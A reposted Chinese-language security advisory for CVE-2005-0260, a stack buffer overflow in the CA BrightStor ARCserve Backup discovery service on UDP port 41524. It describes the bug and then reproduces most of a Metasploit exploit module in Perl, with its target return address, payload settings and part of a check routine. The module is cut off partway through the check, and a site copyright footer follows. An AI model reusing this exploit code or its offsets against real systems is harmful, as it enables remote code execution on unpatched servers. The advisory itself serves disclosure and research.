CA BrightStor ARCserve Backup发现服务远程缓冲…

发布日期：2005-02-09
更新日期：2005-02-21

受影响系统：

Computer Associates BrightStor ARCserve Backup v11 (Win32)

描述：

---

BUGTRAQ ID: 12491
CVE(CAN) ID: CVE-2005-0260

Computer Associates BrightStor ARCserve Backup是多平台下的备份和恢复保护系统。

Computer Associates BrightStor ARCserve Backup发现服务存在一个缓冲区溢出，远程攻击者可以利用这个漏洞进行缓冲区溢出攻击，可能以进程权限在系统上执行任意指令。

BrightStor软件可以在本地网络自动探测其他BrightStor服务器，它通过发送UDP探测消息来广播地址，每个运行BrightStor软件的系统监听这些包并回复嵌入IP地址的包，此探测服务监听UDP 41524端口。

当接收到UDP探测后，服务调用的recvfrom()接收4096字节，但是拷贝的目的缓冲区只有1000字节大小，通过发送过长消息可导致返回地址被覆盖，精心构建提交数据可能以进程权限在系统上执行任意指令。

<*来源：iDEFENSE
Patrik Karlsson

链接：www.idefense.com/application/poi/display?id=194
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cabrightstor_disco;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'CA BrightStor Discovery Service Overflow',
'Version' => '$Revision: 1.16 $',
'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 41524],
},

'Payload' =>
{
'Space' => 2048,
'BadChars' => "\x00",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => [' ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a vulnerability in the CA BrightStor
Discovery Service. This vulnerability occurs when a large
request is sent to UDP port 41524, triggering a stack
overflow.
}),

'Refs' =>
[
['OSVDB', '13613'],
['BID', '12491'],
['CVE', '2005-0260'],
['URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
['MIL', '14'],
],

'Targets' =>
[
['cheyprod.dll 12/12/2003', 0x23808eb0], # call to edi reg
],

'Keys' => ['brightstor'],

'DisclosureDate' => 'Dec 20 2004',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = 41523;

# Connection #1 should not receive a response
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("META");
my $res = $s->Recv(-1, 1);
$s->Close;

if ($res) {
$self->PrintLine("[*] The discovery returned a strange response: $res");

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有